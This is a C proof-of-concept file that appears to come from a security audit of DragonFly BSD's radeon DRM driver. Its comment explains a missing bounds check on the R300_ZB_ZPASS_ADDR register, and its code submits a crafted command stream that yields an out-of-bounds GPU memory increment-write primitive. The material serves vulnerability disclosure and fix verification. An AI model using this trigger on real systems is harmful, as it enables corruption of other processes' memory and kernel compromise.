/*
 * DF-4278 trigger sketch — R300_ZB_ZPASS_ADDR CS-checker gap
 * ==========================================================
 *
 * File audited: sys/dev/drm/radeon/r300.c case R300_ZB_ZPASS_ADDR (0x4f5c),
 * reached from unprivileged userspace via DRM_IOCTL_RADEON_CS.
 *
 * The CS checker validates every other GPU-address-bearing register against
 * the size of the relocation target BO:
 *   - R300_RB3D_COLOROFFSET0..3  -> track->cb[i], checked in r100_cs_track_check
 *     (r100.c:2264: size = pitch*cpp*maxy + offset <= bo_size)
 *   - R300_ZB_DEPTHOFFSET        -> track->zb,  checked (r100.c:2283)
 *   - R300_RB3D_AARESOLVE_OFFSET -> track->aa,  checked (r100.c:2303)
 *   - R300_TX_OFFSET_0..15       -> track->textures, checked in texture check
 * For R300_ZB_ZPASS_ADDR (r300.c:1073-1082) the checker ONLY patches the
 * immediate with the relocation BO's gpu_offset and records NOTHING:
 *
 *      ib[idx] = idx_value + ((u32)reloc->gpu_offset);
 *
 * idx_value is the raw user-supplied u32.  The GPU's Z-pass (occlusion)
 * counter unit then accumulates pixel counts at GPU VA
 * (reloc_bo_gpu_offset + idx_value) — an attacker-chosen u32 offset past the
 * BO base, i.e. an increment-write primitive anywhere in the 32-bit GPU
 * address space (GTT and VRAM: other processes' BOs, the radeon IB pool,
 * scanout buffers).
 *
 * This trigger submits a 4-dword CS whose ZB_ZPASS_ADDR immediate is
 * 0xF0000000 — ~3.75 GB past a small GTT BO — which the checker accepts.
 *
 * NOT RUNNABLE on the audit guest: the QEMU guest has no ATI/radeon GPU
 * (see env.txt).  Requires r300..rv570-class hardware with the radeon KMS
 * driver loaded.  Pure-ioctl (no libdrm) for portability.
 *
 * Build:  cc -O2 -o zpass_oob zpass_oob.c
 * Run:    ./zpass_oob            (expects /dev/dri/card0 or /dev/dri/renderD128)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <stdint.h>

#include <dev/drm/include/drm/radeon_drm.h>  /* on DragonFly: radeon_drm.h */

#ifndef RADEON_GEM_DOMAIN_GTT
#define RADEON_GEM_DOMAIN_GTT   (1 << 2)
#endif

#define R300_ZB_ZPASS_ADDR_REG  0x4f5c

/* PACKET0(reg, count): type0<<30 | count<<16 | (reg>>2 & 0x1fff) */
#define P0(reg, n)  ((0u << 30) | (((n) & 0x3FFFu) << 16) | (((reg) >> 2) & 0x1FFFu))
/* PACKET3 NOP with 1 payload dword: type3<<30 | 1<<16 | opcode 0x10 (NOP) */
#define P3_NOP_1    (0xC0000000u | (1u << 16) | 0x1000u)

int main(int argc, char **argv)
{
	const char *path = argc > 1 ? argv[1] : "/dev/dri/card0";
	int fd = open(path, O_RDWR | O_CLOEXEC);
	if (fd < 0) {
		perror("open drm device");
		return 1;
	}

	/* 1. create a small GTT BO */
	struct drm_radeon_gem_create gc = {
		.size = 4096,
		.alignment = 4096,
		.initial_domain = RADEON_GEM_DOMAIN_GTT,
		.flags = 0,
	};
	if (ioctl(fd, DRM_IOCTL_RADEON_GEM_CREATE, &gc)) {
		perror("gem_create"); return 1;
	}

	/* 2. CS with:
	 *    dword0: PACKET0(R300_ZB_ZPASS_ADDR, 0)
	 *    dword1: 0xF0000000   <- attacker offset far past the 4 KiB BO
	 *    dword2: PACKET3 NOP count=1 (reloc carrier)
	 *    dword3: reloc handle for dword1
	 */
	uint32_t ib[4] = {
		P0(R300_ZB_ZPASS_ADDR_REG, 0),
		0xF0000000u,
		P3_NOP_1,
		(uint32_t)gc.handle,
	};
	struct drm_radeon_cs_chunk ib_chunk = {
		.chunk_id = RADEON_CHUNK_ID_IB,
		.length_dw = 4,
		.chunk_data = (uint64_t)(uintptr_t)ib,
	};
	struct drm_radeon_cs_chunk flags_chunk = {
		.chunk_id = RADEON_CHUNK_ID_FLAGS,
		.length_dw = 1,
		.chunk_data = (uint64_t)(uintptr_t)&(uint32_t){0},
	};
	struct drm_radeon_reloc reloc = {
		.handle = (uint32_t)gc.handle,
		.read_domains = RADEON_GEM_DOMAIN_GTT,
		.write_domains = RADEON_GEM_DOMAIN_GTT,
		.flags = 0,
	};
	struct drm_radeon_cs_chunk reloc_chunk = {
		.chunk_id = RADEON_CHUNK_ID_RELOCS,
		.length_dw = 1,
		.chunk_data = (uint64_t)(uintptr_t)&reloc,
	};
	struct drm_radeon_cs_chunk *chunks[3] = {
		&ib_chunk, &reloc_chunk, &flags_chunk
	};
	struct drm_radeon_cs cs = {
		.num_chunks = 3,
		.chunks = (uint64_t)(uintptr_t)chunks,
	};

	/* Expected on vulnerable kernel: ioctl SUCCEEDS (no bounds check on the
	 * 0xF0000000 offset).  With the proposed fix: -EINVAL.
	 * On hw, any subsequent draw with the Z-pass count enabled makes the SC
	 * unit increment memory at bo_gpu_offset + 0xF0000000.
	 */
	if (ioctl(fd, DRM_IOCTL_RADEON_CS, &cs)) {
		perror("RADEON_CS (rejected => possibly fixed)");
		return 2;
	}
	printf("CS accepted: zpass GPU write target = bo_gpu_offset + 0xF0000000\n");
	return 0;
}
